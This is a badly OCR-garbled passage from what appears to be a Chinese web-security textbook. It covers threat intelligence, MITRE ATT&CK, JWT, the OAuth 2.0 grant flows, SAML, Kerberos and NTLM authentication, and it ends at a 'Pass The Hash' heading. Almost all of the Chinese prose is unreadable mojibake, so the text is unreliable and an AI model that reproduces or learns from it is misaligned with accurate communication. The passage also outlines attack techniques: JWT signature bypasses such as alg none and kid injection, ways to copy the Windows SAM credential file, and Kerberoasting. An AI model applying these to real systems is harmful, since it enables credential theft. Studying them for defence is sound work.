TEBCVT i BOHf E A BT B2 0l 5 I8 H 3 MBI MR LE UGt . 275 RE D/ NI T
Xt R T R, PR AT RER H R BGEAWREE T T, 2% E H PR O 5 E A TS A IR
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http://avfisher.win/archives/1175
https://www.freebuf.com/articles/neopoints/252229.html
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Mrex 4: sc3

THG BRI L E TR AR, S iras b .

THI T 225 RIS A NG A s . BERGAR S A X THATBE S ML 22 R A IR, TR A
M TRBA L, F5 2R A5 % 4 P A T4 -

PREOT T R B TR 8 R AT R E LA RR, PSS AN L s o APT, (122 BAHERR Y
PREL
RIS AN R TR se i, HEPR 5 N Tahisic.

BrEx 5: I8

Brukpr B K B SR AT AN BGE AT . SIS IS AT TR T, AR AR BN &
FEIA o A 2 i B P R P 5 LA S A sl AL RS A 4 3 T B A

B BRI H 25 2 N R oR A AR DL G A A B AR A —E, IR AR H 5 I RO B
BB AT e AR 18, Rt B s A T 20
Bk 6: K

TEREIY AT, T ZEX LA f AT RN, 75 BB 18 B 2 4 R (i Ak ) X
73 ANUIR T it PP L 5 B =0 AR, R S T AR I R R A 5 = MRS | AT

8.3.3 &EHiE:

e SDL Practices

e Threat Modeling

8.4 RLEBIX

8.4.1 BEHE
8.4.2 RETE

o WHYEN L ams’s by Bk Kk
o MRZAZE by BL KK
o FATREZADERAERI A by BH

o BRI L AIZEZ K by A

o UL RBUHEKMN I 2i4: SDL AR B3tk
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https://www.microsoft.com/en-us/securityengineering/sdl/practices
https://www.microsoft.com/en-us/securityengineering/sdl/threatmodeling
https://zhuanlan.zhihu.com/p/39467201
https://zhuanlan.zhihu.com/p/84591095
https://mp.weixin.qq.com/s?__biz=MzIzMTAzNzUxMQ==&mid=2652893616&idx=1&sn=6738a4e33050ed084d1535196aec6061
https://36kr.com/p/1721236635649
https://mp.weixin.qq.com/s?__biz=MzI2MjQ1NTA4MA==&mid=2247485062&idx=1&sn=94c9fa40edef6de0ea46c453405e3687
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o EREA: i CISO AN ANBF:
BXEENY) CISO [N FLERHAF: F O 2 B Mk 2 it
HHFR & 42158 by lake2

o /NBRIE, PREEI: LaEImE g ARRE

gl

8.5 BRI

8.5.1 &

FERE

B A Pt & 7w 1 A GUGRE R M S Bt XA PR i, — ARG TR DR SRR
Yabioiik. @i as, IRV E. TERXX A vy, B e E MRS, TR BRI A AN
5 @UEIR (Threat Intelligence) WiziMiA: .

E X

BUER (Threat Intelligence), WAHFRIEZ 2 EH (Security Intelligence). Z4 @i ME R (Security Threat

Intelligence).

KT B E XAMRE , —Boedg N LR A, 5 R 2% 25 A A R E R U A
Wl al . Bah Pk, Bl BARE R, PAKORT T g b sl 0 A IR o 1 SO BB B AL FE 1 41
1) /1S SV’ /iy A DL N CIE Al o/ R S S U 1 e ST AN 07 N 5 S N SR A= 11

— BB R A R BGEE . R Bl PR W DO B RSE
FESEHT ] AR R BB VR, AE b A A i 0] DAV B EA A A LY., A2 )5 T AR 23 A

5 LB I 268 U 41 i 95 A R A BOVERM A AT . A SRR IR B € i atse . &Rl AT
Mr. SERPECREA. FEHIKA . SRk, Db A 4% .

TR SR, R ENRFMR) T5H BAE Systems Applied Intelligence. Booz Allen. RSA. IBM.,
McAfee. #1478, FireEye %,

8.5.2 Hx#IE
#re (Asset)

XHHAEA HHER S S, BTN, 507 AR B
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https://mp.weixin.qq.com/s?__biz=MzI2MjQ1NTA4MA==&mid=2247485405&idx=1&sn=bda9283329f6db15d69d4cdf37c609d2
https://www.freebuf.com/articles/es/200024.html
https://mp.weixin.qq.com/s?__biz=MzI2MjQ1NTA4MA==&mid=2247484735&idx=1&sn=02e06dd84ee0322dd2f9fe761b244013
https://mp.weixin.qq.com/s/rc6X5SlsoRp6s7RCEZ67mA
https://mp.weixin.qq.com/s?__biz=MzA5MDY3MzMyOQ==&mid=2649439751&idx=1&sn=18ac49aff75ee4b1433e429df56ba44b
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Bl (Threat)

RERS I I AR . BOR . $aER . BB SR BEAE IR 55 0 R GEs UBTE A F AR, BB aT d gy 3
& (B . BEJ7. BEUR. bl AR, RTREMERS R FR MR 2

Me55tE / iRiA (Vulnerability)

T R L R Y St TV S B
RS AN, BIFR e 2 DR Rk ik 3 R0, 15 AL A 2 T IR M o . B
ARG, IRt BUAETFIEE K SRy, HE4 4 PoC ANRIAAN S 0. 732 5 th 3L E 2 TR
TERA RS, TS5 T2 U 2 BT F BB, R A A2

R (Risk)

JRUM ) 577 B — 2 B ) I 55 PR L LA i A T TR PT

22 EH (Event)

JRUH A P BT B W 5 1 I 52 B A FE T R R 5

8.5.3 1R KR

N T BUE AR AR, &G E TR AR HERI G . ERA R, SEEBIBBUMNFRIES .

BT EZRAN, g% AR, B0 7. CERT. JF&EHX., 24k, WiRfEEsmn. 2
KT AR RIS QRS

8.5.4 EIIMEZS

FO BT 5200 T 1A SR AE 2 o A I e A - B T AR ERESE (Cyber Kill Chain Framework), MITRE [
ATT&CK #HEZE (Common Knowledge base of Adversary Tactics and Techniques). ODNI ) CCTF HEZE
(Common Cyber Threat Framework , /4 3: 0 25 g IEZE) , PA K NSA ) TCTF HEZE (Technical Cyber Threat
Framework, $AM: M 25 BIMES) .

8.5.5 &EHEEE

e Executive Perspectives on Cyber Threat Intelligence
e Cyber Threats: Information vs. Intelligence

o SRS B A
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https://scadahacker.com/library/Documents/Threat_Intelligence/iSight%20Partners%20-%20Executive%20Perspectives%20on%20Cyber%20Threat%20Intelligence.pdf
https://www.darkreading.com/analytics/threat-intelligence/cyber-threats-information-vs-intelligence/a/d-id/1316851
https://www.freebuf.com/column/136763.html
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8.6 ATT&CK

8.6.1 FHr

MITRE /&35 BUR 9 B ) — FFRA, %A ET 1958 M MIT 4p ik, &35 T2l mil
HUH . HAPaHEH & FAA S aZiiE Hil R M AWACS HLEE B RS . MITRE 73 [ [ Z005 e £ AR
FUH (NIST) BYBEHI R A T R M 24 A Sl i

MITRE f£ 2013 4E#EH T ATT&CK™ R B4 FRE Adversarial Tactics, Techniques, and Common
Knowledge (ATT&CK), ‘B — M TESCH 3 LA KA A TG v B B B BRI . 5 2 R et
TR SN, FFX BRI T IS BSORFN B, i i T LA HEFE A B S5 A A i 3Rk 0
(STIX). #EFnEERAI{E A (TAXIT) RFom. HT M FRA Y 2 3 T Tk & A Yoty Y 28 )
R MBAT R, BT R E S AR A . ORI AR A . 2 TSGR . PEAL A
FEFPIEGE ST B RS BRI AT

B ATT&CK [k :

MITRE’ s Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK) is a curated,
—knowledge base and model for cyber adversary behavior, reflecting the various phases

—of an adversary’ s attack lifecycle and the platforms they are known to target.

A Kill Chain SRR, ATT&CK FHMGAREE S48, {HZ 3L 18 1 A1) HI A il 2000 2 56 5 . MITRE
AT, Kill Chain 75 AENE SRS EEAT RGN . (R IGHEAT AR T4 MR 0.

Hul ATT&CK #EB- =%, 512 PRE-ATT&CK, ATT&CK for Enterprise(fd## Linux. macOS.
Windows) fil ATT&CK for Mobile(f33% i0S. Android), HHt PRE-ATT&CK 7 26 M HE R 4 5 A Wy
B (g, iasti), ATT&CK for Enterprise 7 Bl i 5 TLAK Be (Bt i A . 223
A St BARik), ATT&CK Matrix for Mobile 24X 85 .

PRE-ATT&CK WEHAA LGS L FEER. R, KIMes R, b tf i 26, d@r
MAESF RSO . AN GRIT %, #Arfedr. Maliesr. B

ATT&CK for Enterprise (WiFHAG VTG, AT, WEE. $AL Piaalee. D5 FeuE. KB, fim
2o NIVE SN 6 O S Bt

8.6.2 TTP

MITRE 7£E X ATT&CK i, @& T —HxgExT 4 HH (Groups). ¥4 (Software). AR (Techniques).
A (Tactics).

HA Al AU SOARFIER A, A SEBeAR, BORSEES A . Bt APT28(4H4) (] Mimikatz(3ff) i55] T
IRIFE SRR SR (BEAR) SEI T AR P AURE SR B (AR) . BATGEST N PR TTP, 2R,
A, dREMES.
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8.6.3 &E

Mitre ATT&CK

Adversarial Threat Matrix

MITRE ATT&CK: Design and Philosophy

ATT&ECK — ity ] il

Cyber Threat Intelligence Repository expressed in STIX 2.0
sigma Generic Signature Format for SIEM Systems

caldera Automated Adversary Emulation

RTA Red Team Automation

8.7 KP4l

8.7.1 ER N

20
- i
— WS
— SN

- WA

— )i R

— Tl AR
s

|

- IEE
R

- AR

- BEREX
HL R

]

— ITHIRIE

8.7.

JRURE: $22 1
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https://attack.mitre.org/
https://github.com/mitre/advmlthreatmatrix
https://www.mitre.org/sites/default/files/publications/pr-18-0944-11-mitre-attack-design-and-philosophy.pdf
https://bbs.pediy.com/thread-254825.htm
https://github.com/mitre/cti
https://github.com/Neo23x0/sigma
https://github.com/mitre/caldera
https://github.com/endgameinc/RTA
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. Jft
- wEHF
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— Byt
— JEfEENE

8.7.2 BhfEIsRER

o B

- [FA— B TS
— et
= [F—DsATh
— [f]—IP
- [A—B
— [Al—3Zf} ID
— LBS

=

0

8.7.3 REIHE

o APP JH /1 ST
—IP
- BRI RS
— A APP FRHHVS & APP
— Root 7
— R 2K S
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8.7.4 SE

o SRR R 7
o BRI LA N FR BRI

8.8 BHHEIHESS

8.8.1 BHTHINE

MR, BT AT PR . B2 Zamfz . Rz, M2 MHZILZ . RIURARTEZ)Z %
PEAHFARHR AR

R

YRR SR Y e fidge b, (AR AEE EEACE . WERYBR RN Y, RS s YT B
geid LIZB.

HigE

BT GRIRZA AR, Bah i) AR T E 8 8, R Pt BB A mdn . 5
S ESIRIbE

LKimE

Lt s PC. FHL. ToT VASHABAY R REBL AT, JEA M 258 1) A i 2 15 ] {5 7 2R )AL

R4E

BAE ARG TE R b, W RERAAERAL. AR ) < A

LR

W 28 2 B AR AR R 2 B VTSR LA R ok, KRR E RO PMSGHEA TR . 282474 MITM, DDoS %
Yiitro

N B

R B2, R E] Web B AR 4 R it o
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Json web token (JWT), Jg& >k T 1 M 2% B I BRJ5E 0] £ 128 75 B I $h AT 9 — AP AL T JSON By IFshsifE ((RFC
7519). % token FBLI A BB AL AR, FEHITE T3 2 A B SR (SSO) k. JWT il — i
BHAAE S AR HE RIS R LB OAUE R P SO0, DAET ST IRIR S5 e AR BT, AR n LAY
In—LEEAMY e ML S R T AR IR ., % token WA BB THAIE, M9

9.3.2 ¥JRK

I R=ANERAY, 43 B8 header/payload /signature, A header J&75 B HGZRA AN B8 FH A9 BEYE . payload
B, &5 I HMAC (base64 (header) +base64 (payload), secret)
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9.3.3 LZL(aRH
Header R4

o SR SCRHB A none /RN S

o MRS

o BHARIRER

o HHEALE header HIIAGHIAHH

o kid FRUETA SQL A/ TEA/ HG8
o LA kid HE T 2 AL

o SRR T 144 B LI T S

« JWKS ##¥

« JKU (JWK Set URL) / X5U (X.509 URL) A

Payload ZR4%y

o faAEI IS, AN exp , iat

Signature &5

72 1 o ) G A 2544
AR AR T AR
S AT PASE 1 HAth 75 XS B

Hith
o Hik
T 1 I AR T 4 s V) 5 i) X e
B RS256 4 HS256
BER LN

9.3.4 BEHEE

e Critical vulnerabilities in JSON Web Token libraries

9.3. JWT
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9.4 OAuth

9.4.1 &4

OAuth @— KT (authorization) WIFFHIMZEIRIE, FEaxttFAGEZ MM, HAIHIRAZE 2.0 B

OAuth fEF -5 iS5 B 0], B8 T — A2 (authorization layer). % /i AN REELHE RMF i, H
BEXESRAZAZ , PARCRF I P S50 am X TPk o 0 i SR BUZ BT B2 (token ), 5 11 I RS [ o
AT AFEEE SRR, i3 A2 2 SR AR R L A 2

B SRAAUZR LA, WRS5 iR & A SRS B AT A8, ) % P s T O P AR SR

OAuth 2.0 58 L7 PUFh A 7 2 - BAUEELE (authorization code). fij4b#Ez (implicit). ZMEALR, (resource
owner password credentials) F1% A, (client credentials).

9.4.2 fiiE

o PR RPAG, & 3in 2OR P4 THRAL

o MPRES TR A

o B LB PARREAL, LR 55 4% I i

o NIEARSS S & Pt ARG, BIATCER, IR AR
o BRI BTIRAR 5 RIS R

o FUIRIS SN ICER, R E P T IR

9.4.3 RIWIERN

BRI (authorization code) J2TIRERTEHE . TR ™ H I FARE. B AR ELE i E &

g5, S ARSS A IAUE AR 35 5 AT . fﬁJ
HRiAE A -
o MU, JEE A S IR 55 A%
o MRS TR AL

o MBI THRAL, RS SR P S 5 im S SE i E /7 FE [ URL” (redivection URL), [}
Bff_E—A~ Ay

o B uCEIBANED , M ERSERT EE R URLY, A UERR 55 4% Il 2

o NIEMRSFEZAT T A FIE E ] URL, $IATCB)E, W% P ik Vi) 2 (access token) FITEHT
At (refresh token)

A BRRT, P R IAER URL, A& AF 240
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o response_type: FIRZACEAL, WEW, HALHIHRE N code

o client id: FIRE Y ID, WApeIi

o tedirect_uri: FrREE[ URI, WEEIR

o scope: PN HIFIIALRTEE , Al

o state: FIRFFURIEAPRE, FESHEE, Pk CSRF
B

GET /authorize?response_type=code&client_id=s6BhdRkqt3&state=xyz&redirect_uri=https’3A%2F
—%h2Fclient)2Eexample’,2Ecom}%2Fcb HTTP/1.1

Host: server.example.com

C 2, Mosasiml & Fomiy URTL, WA N S8

o code: FIREANMD, WLVEIR . %A A4 ROV % ARAE LA o H BB RS — K, 75 W S PAUIR S5 4%
R4, 5% P ID g ) URL, X R R

o state: WK P ImAHE K P EEIXANSE, IAEIRSS#5 B N 53 KA A 25k
i

HTTP/1.1 302 Found
Location: https://client.example.com/cb?code=Splx10BeZQQYbYS6WxSbIA&state=xyz

D P, P I ENR 5525 F s HTTP 45K, W& A TS5

o grant_type: FonHIEAUREA, WEETT, MALHY(ERE E A authorization_code
code: FiR b—BPIFHIEALD, WHETH
redirect_uri: F/REE M URL, W35, HAGS A BBEPRZSEERRF
o client_id: FIRE g ID, kI

i

POST /token HTTP/1.1
Host: server.example.com
Authorization: Basic czZCaGRSa3FOMzpnWDFmQmFOM2JW

Content-Type: application/x-www-form-urlencoded

grant_type=authorization_code&code=Splx10BeZQQYbYS6WxSbIA&redirect_uri=https/3A%2F
—%2Fclient’2Eexample’2Ecom/2Fcb

E PR, IEIRSA4% A0k HTTP [|ls, 5 A NS4

e access_token: FE/NTFIAARE, WhidIi
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token_type: FIRPMER, HEN/NGAHUK, LI, FPAZ bearer KAE mac KA
expires_in: FIRANSE], FRACHFD. AR WAZSE, WAy B A R
refresh_token: FIRTFIME, FIRIKICT — WA TTH, WlEw

scope: FRALRIEH, WIRSE i H RIS B —E, BT g

ian:

HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
Cache-Control: no-store

Pragma: no-cache

"access_token":"2YotnFZFEjr1zCsicMWpAA",
"token_type":"example",
"expires_in":3600,
"refresh_token":"tGzv3JOkFOXG5Qx2T1KWIA",

"example_parameter":"example_value"

9.4.4 FE{LE

A (implicit grant type) Nl 55 =77 B REFHIMR S &%, BLEAEN Yas A UENR 5548 H 5 &1
Bl TR AR, NS . Bra P BAEN e as hogil, SR e nl Wi, H& b A 200
Wik

FRL R
o B RE S A E R 55 A%
o JPHUE REE T AL
o BRIP4 THEAL, IWIEIRSS &R ) % P € Y =€ 1) URT, JF4E URI ) Hash #0571
VIR Jit
o WVEAR I GEUR IR S5 e A K, O AE 2P Hash f
o WURMSS AR R — A 5T, Hoh AL SR RS AT PASRIC Hash i H i) 2
o WYEERHAT B R0 AR, SR A
o WVEEREL T A Za % P
A B KPR ) HTTP ik, a5 FSEC
o response_type: FORTHCEAL, HALMEIEE N token , WL
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o client id: FI/REMumAY ID, AL

o redirect_uri: FREFEMN URIL, A&

o scope: FRAUFRIERE, WL

o state: FRFEFURISEDIRES, FEAHEE, Pk CSRF
Bilan:

GET /authorize?response_type=token&client_id=s6BhdRkqt3&state=xyz&redirect_uri=https’3A
—%2F%2Fclient’,2Eexample’2Ecom/,2Fcb HTTP/1.1

Host: server.example.com

C LY, NIEMRSS 4RI .2 ey URL, A& AR S4LC
« access_token: FIRVIIFOHE, WL
o token_type: FIROMIEA, HEI/NERERK, kIR
o expires_in: FIRITWINIE, PO, WIREBGZSE, AT 208 E 1 1 A
o scope: FIRAUKRIEIE, ARGE P R ITEE 2, T A
o state: WUERZ PRI R P EEXASE, IS AR5 K A 1 S50
i

HTTP/1.1 302 Found
Location: http://example.com/cb#access_token=2YotnFZFEjrlzCsicMiipAAtIstate=zyzEitoken_
—type=examp leflexpires_in=3600

FE LT B, AR5 A% HTTP SkfE R Location £, i 5 P badf HE k. &, FEX M
Ik Hash 80055 1741

HRAE BT D PR, TR &5 Location R ML, (H2 Hash Fir A ki, #TRE E &
B, MessARBERTAY B IRAR 55 4% S Al R B AURS , 4R BUE Hash AHEg4J

9.4.5 HMOER
KL (Resource Owner Password Credentials Grant) Hv, fFa% Fudefit 5 Sy A &N, %
P X 25 R, 107 R S5 R PR REHA
TEX A, P AUHE A OISR i, (HR R P i AN SRR o
FPBRANE -
o P EE PR A A R
o B umeRE A BT K AINIEIR S A e TR A
o NIEMRSASFIATCIRG , W% Pt Ay 4
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B B, &Pk B HTTP 5k, W& A TS5
o grant_type: FIRFZALERY, MALKMERE K password , WpEi
o username: FIRN4, kI
o password: FIR YR, Wk
o scope: FNAUPRIEE, P
Biltn:

POST /token HTTP/1.1
Host: server.example.com
Authorization: Basic czZCaGRSa3FOMzpnWDFmQmFOM2JW

Content-Type: application/x-www-form-urlencoded

grant_type=password&username=johndoe&password=A3ddj3w

C IR, NUEARSS 5 107 i ARV D,

HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
Cache-Control: no-store

Pragma: no-cache

{
"access_token": "2YotnFZFEjr1zCsicMWpAA",
"token_type": "example",
"expires_in": 3600,
"refresh_token": "tGzv3JOkFOXG5Qx2T1KWIA",
"example_parameter": "example_value"

}

9.4.6 EFIRER

% Fifsis (Client Credentials Grant) 8% Fiisbh H O 4 30, AR 2 X, mIR S5 St EA AL -
HAPBRATE

o B EAUER 5548 AT B AL, IFEOR—AD U5 R

o NIEARFSEFIATCIRIG, 0% i i 2
A BPEd, B i HTTP 5K, W& NS5

o granttype: FIRIZAZER, MALAIEEEH clientcredentials , Wik
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o scope: FNAFRYEM, AL
il -

POST /token HTTP/1.1
Host: server.example.com
Authorization: Basic czZCaGRSa3FOMzpnWDFmQmFOM2JW

Content-Type: application/x-www-form-urlencoded

grant_type=client_credentials

B 2R, IANUERRSS & % i As Vs R, BN

HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
Cache-Control: no-store

Pragma: no-cache

{
"access_token": "2YotnFZFEjr1zCsicMWpAA",
"token_type": "example",
"expires_in": 3600,
"example_parameter": "example_value"
}

0.4.7 SE4EE

o 1fc6749

Ff#E OAuth
e OAuth 2.0 Vulnerabilities
¢ OAuth Community Site

e Hidden OAuth attack vectors

9.5 SAML

9.5.1

SAML (Security Assertion Markup Language) PN ZEMEShviciEs, B—M xXXML & X0iES, 1
XML #:&H,, K58 SSO [1HikE.
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SAML 774E 1.1 F1 2.0 PANUAS, SXPASIASANARAS, A AE 2 A ol W R i ERE Y, FU e —
LAy B R

9.5.2 J\IEETTE

SAML FINIE KB =AM, 3R IRSFEAEE (SP). TAUEARS: (IDP). AP (Client), —ANHAAHLALA
JERFEIR

. Client 1Jj 1] 32 L3 1) B3 IR

. SP A MiliFiEsk SAML & [H]4; Client

—_

[\

3. Client $£x2#3k 3] IDP

4. IDP & [ATATET K

5. Client #Ji; IDP

6. WIEWI )G, IDP A AR TR SAML, &[4 Client
7. Client $23F SAML %5 SP

8. SP IR SAML, #fiE Rk ek, B
9.5.3 R&2EE
o URT sl B AATE R YE, nTDABRSS 4 Jy b Sl ATIE

o U2R SAML /DY expiration, FHWTF ID @M1, AR50 RERCE LT 0

9.5.4 S

e« SAML Wiki
o RFCT7522

e SSO Wars The Token Menace

9.6 SCRAM
9.6.1 &4t

SCRAM (Salted Challenge Response Authentication Mechanism) J&—&41 8 IR 45 g 15 P i A ml A 14 i
FHAELH .
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9.6.2 &E

e RFC 4422 Simple Authentication and Security Layer (SASL)

o RFC 5802 Salted Challenge Response Authentication Mechanism (SCRAM) SASL and GSS-API Mech-

anisms

e RFC 7677 SCRAM-SHA-256 and SCRAM-SHA-256-PLUS Simple Authentication and Security Layer
(SASL) Mechanisms

9.7 Windows

9.7.1 XM Fi\iE
Windows TESEATASHIE SN IE R AE R 50 2 F P AR 004 R ik 2 5 R 48 S i 2EA 7% ELB8HIE
J#id winlogon.exe W P ¥ A 141 £ 1sass.exe HHFTIANIE.

winlogon.exe JJTYE/ M. BE. SR E B REFA M. 1sass. exe [ T LS E25 i NTLM Hash
g S SAM Hds R A IAGIE .

9.7.2 SAM

LAWK P TRES (Security Accounts Manager, SAM) & Windows #4/E RSB Pk 0284 il i iy —
FRBLA . FHRAEAE Windows 454 22 58 8515 WM 122 ST 1 k0 BH SO i tle SAM ST AR AERT 2 B SC
HHTELA S — R F A S ) Hash (E90-471 Hash 4325 LM Hash, NTLM Hash. 41 F#47 54314
TERF 2154 A1) Hash 65 SAM U A7) Hash (EFEFTXTHE.

SAM R ET %SystemRoot%\system32\config\sam o e O R bR A
HKEY_LOCAL_MACHINE\SAM\SAM , HKEY_LOCAL_MACHINE\SECURITY\SAM . FIE®HM N F SAM {44t

THUEREAR T EID . ZH. Bah{Ch system HI AR A AT DABES %300

9.7.3 ZIDTERE
o JE I W B OEE O E OHL. B 3h HoAb B E R 4Ok R IR Windows B2 S ]
%SystemRoot%\system32\config\sam {f
o JRHL Y%SystemRoot¥\repair\sam._ 3({f.
o A THMENER T T 1 SAM HIE
o DI SIHRAIHT SMB 30, M )
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9.7.4 SPNEGO

SPNEGO (SPNEGO: Simple and Protected GSS-API Negotiation) fZfaRIZALr—Fp i GSS-APT {AIE
PLEIRYZea L, FT{# Webserver #£5 Windows Credentials, ‘E§ i T Kerberos,

0.8 Kerberos

9.8.1 &fr
Kerberos PMYARIRE T 2 E R T24Pe Athena BiH , FTARAMBARS], Jor i XA HE A ) 56HIE
7E RFC 1510 HR4l, Kerberos /& Windows I8 H i BRIN B0 35 0E Lo

faj B, Kerberos 42t T —Fh B S8R5k (Single Sign-On, SSO) WYk, HRXFE—I5, E—1M%
TEARFMRS A, o, FTERS % WREIR S 2R SO 545 . X SeiR S dni A IER TRk . 1R B 2R,
AATRELEEE RS 8 B CSE Bl —BIAIER S, Mg ft— A iAIER %5#% (Authentication Server, AS) it
IR S AR o SXFEATAT R P i st T B — AN R ik RE B SR T A RS54

Kerberos Ppislig— T 224 (Ticket) BIRSE, TE Kerberos R4EH 2/AAH =AM AL 4% (AS), %
P (Client) FIE-# k55 a8 (Server),

WNUERR 55 4% P eI, I AT BN PR SR & Ah B0 TGT (R T 5h) . FHis TiRkgs (TGS)
FERATHRF ) TGT BB L, SRS kAT ST(SIE50) -

£ Kerberos G, & MRS ffA —ME—942 7, W Principal, [, 20 Mk 55 A H
O, HHENMEN A A SHALR S 4 AS JE.

9.8.2 EXHEIE

Principal (‘%4 1k)

— WOMERMA, H—145 (name) HIH 4% (password)
« KDC (Key Distribution Center)
— $2fit ticket FImT 2R PRI LR 55

o Ticket
= — Mg, MW AER RS 4 IEN] B O S0y, HrPadE i bl 23R8
R, PARHA—SEfEE . Ticket W RZEE B WD, B RIS H0HH

¢ Authenticator

— MEE, SO SRR, P I PRI 2 2
2R

¢ Credentials
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— —~ ticket il _b— AR I 2
o Authentication Server (AS)
— i1t long-term key TAUEM
— AS 4T F ticket granting ticket Fl short-term key
— IR S
o Ticket Granting Server (TGS)
— J# 3 short-term key fil Ticket Granting Ticket TAHEH
— TGS K tickets 25 1] AT A HAL A AR 95 %
— BRI ) il e 55

9.8.3 E{LEYINIEREE

L % Pl IR 45 s kiR, TSR INASR . %& FiY principal, 45 &Y principal

2. AS WeElHR 2N, BEPLER A% Kc, s(session key), JFAEREL WA S50 BI04 /13
Lg% Pumf) S, B P omi s N, WA NBEYLERD, session, server principal
2. GRS AR i S, RS SRR BRSNS, WA NBENLEERS, session, client principal

3. BFumE s T8 AW S G, Wb O M@TE, 58 Ke. s, SRE4ENR—1 Au-
thenticator, Hr = FALFE Y AR AT Ts,c MUALERAS, - HA SessionKey Ke,s M. 2 5% F s
Authenticator Fl1%5 server [1EEHE [0} % 2 R 5 2%

4. M55 % R A R ERIT S, S 2] SessionKey Kc,s, il Kce,s fi#JF Authenticator, JRin ri#

1. 5 #% Authenticator "I [AIBUR AN TR HII ] EF 5 48P AN, F HAS A Z I R #0275
HUHI . AR RO 2 — UL, IRUEIA NBER T 2 % P s N g, 6T
Replay Ziti.

2. Ko checksum J&75IEHf

3. QSREIER, &t AR
5. IR 55 a BT He B A % o [ 2 — 2R T EOR SEUBUEIAIE, WA T session key T ) [A] 8
6. & umim AT, HER A ml A T B O AR A I T B R — 2, OREIEAR 55 4%

9.8.4 EEMINIETTE

IR C RS S8 UK s AR ST AR O EOAE . (FUR,  FEBOAN DT B R A YO NIRRT S i
AHERHH.
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H I FE Kerberos 2, 5IA T —ANHB0 M @M ZEHEHAUR S (TGS - Ticket Granting Service), ‘EIH
WAL AT — M E IR S48, 2 BRI AR S5 2 & i A O T A A AR 5 e AR A 2240

X, Kerberos REEHHUA PG INIEMRSFdx (AS), % /g (Client), iR # (Server) MIERHEHAL
M55 (TGS). R S BIR AR S5 At {5 IR FRR 0 T PATR 6 228k

L&l AS KRR, WERNAR: &) principal, SRS #HY rincipal

2. AS WeElHRZ I, BEFUEIR—A % Kc, s(session key), JFAERREL T WA S0 RN 5 )13«
L BRI, R PR TN, WAL RD, session, tgs_principal
2. 45 tgs WUSEHE, I tes ML, WA NEEHLE Y, session, client principal

3. SRl VT2 A SRS, B A AR ERRIT R, 48] Ke. s, AiEK 4 Authenticator, 1t
1. Authenticator
2. 4y tgs W SRR R R 45 IS5 2%
3. server_ principal

4. TGS HeH A ST =d:, €% SessionKey Kce,s, #R)iH Kc,s @ Authenticator, &8N T K4

1. #if Authenticator HJHT R BZ AN ETE M EIRE T 5 28 AN, H HAG A IZE 2 S
HUH B WA R B2 B, IR NEER T 2 BiF Fim ks N2, ST
Replay Hiti.

2. f#E checksum J&75 I
3. WISRESIER, & Fmatiad TIAE

5. tgs K4 session key ZIAEPAEIRLA % 1 0
1. A% FURF tes 1) session key MRS, M AHEMIY session key Al server_principal
2. JHR4S SRR IN B2, AR Y session key I client principal

6. ZromiBIBIA I, RIFEICH, RGEK 4 Authenticator, KiGFRABMISE, WAL
1. Authenticator
2. MRS5S

7. RS SRCEIERIG, I E CRRTMRITESR, 155) session key, SR session key fFF authenticator
T TE S T RE

8. MR J5 4% m] PAREHEAR [0]— > ] session key JIIE# ) 2 Bl 1452 HRF ) A 52 FURL 1) 8k
9. B il AT, FRE A I TR AR RN T BRI — 2, OREGIEAR S5 2%
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9.8.5 fiifkm=

=
o AL YETIT
o ERATER LK

o BN B IR X
o SRR JEXECARE I, PROATR BERC A AT R B

. BRZHHLH

o BIAT A BT
o TEHEL

- AR

9.8.6 &EHEE:

o

HE

RFC 1510 The Kerberos Network Authentication Service

Kerberos ATE AR

Yty

o Delegate to the Top: Abusing Kerberos for arbitrary impersonations and RCE
e Kerberos Protocol Extensions: Service for User and Constrained Delegation Protocol
e Kerberos Technical Supplement for Windows

o Cracking Kerberos TGS Tickets Using Kerberoast — Exploiting Kerberos to Compromise the Active

Directory Domain

9.9 NTLM B3I

9.9.1 NTLM JAiE

NTLM J& NT LAN Manager {445, NTLM @HTH/ W50 SR, & Windows NT R A
AR 2 A L
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BXRE

o B UBTEAS HUNEE 24 HI AR R A T

o B i) e 55 45 B SC AR TS

o M5 arnr A 16 AR BEHLEC T Ik % g, VES9— challenge

o B IS R RN challenge, SRR BIZ5 RS54, VN response
o RS54 . challenge. response & i%&ZAIAA I

o IRHIAR XA A SAM B A B v BN RO ELS , SR XA L O SR
%% chellenge

o SN LU ) challenge, HAISR—HEIE ALY, ZINUERIY

Net-NTLMv1

Net-NTLMv1 Ppsl i AR AR -
o B fie 95 A% Ak — R
o Mo AR BN R, A4 8 fiif) Challenge, %Kik [ul % /i

o B FimiEl#| Challenge J5, {8 H F8AS hash X} Challenge f%E, E} response K ikZ RS
o

o M55 AR response
Net-NTLMv1 response 3T 13

o F£H ) NTLM hash #h3E 3 21 504 7 F I 5dE

« ZYIHUREEN 3DES INEFER =A% 8], I Server & KfY Challenge
R AR MESS , T DASE TG TR AR T Sl T Tk -

Net-NTLMv2

H Windows Vista f2, HEKEIAMH Net-NTLMv2 #p, HEAGRREIF
o HPm Il R SS AR ik — NG K
RS w B R G, AER—A 16 A9 Challenge, %1% [F % F i

o it F] Challenge )i, i B8 %59 hash %f Challenge %%, {E} response & iEZ5 RS
5

55 23 L0 response

330 Chapter 9. AEHLH



Web-Sec Documentation, &% 1.0

9.9.2 Hash

LM Hash

LM Hash(LAN Manager Hash) J& windows MM E Y, | IBM #&it. LM Hash fifi i fifi 45 12 540
{1 DES, HAFFEGU . R0 Windows R XP ., Server 2003 Z{ii [l LM Hash, 1510 RS BINEE N T
LM Hash #{#if§ NTLM Hash.,

LM Hash fit5 =R
o FARM PRI RE, 14 FATE
o AR 14 FHATMFTEAEHISE N 0300 M2
o BF 14 FATNPIE T TR Y
o DA KGSte#$y MR LR AT DES %, 153 16 i
o PGSBS LM Hash,
PER AL, LM Hash fA7EA1# 2 8
o WKEASET 14 755, HARKSKRNG

o WERERSKEE/NT 7 4L, e ARIERE , W AR ZE R aad3b435b51404ee S HI KT AL K EE
NI 7 AL

o TPAUIMERKAR AR T N
« DES J3RH A%

5

NTLM Hash

N7 P LM Hash (924 8, T 1993 4F4E Windows NT 3.1 H5| A7 NTLM i,

Windows 2000 / XP / 2003 fE25diE5) 14 {7 Ei{#i ] LM Hash, fE25i8#85F 14 (754 /] NTLM Hash, i
Z G M Vista FFUER AER#E A NTLM Hash.,

NTLM Hash fJ318&EER:
o FREMEEA 16 JEH], PE4T Unicode %%
o BT MD4 IR AHE

9.9.3 ik

Pass The Hash

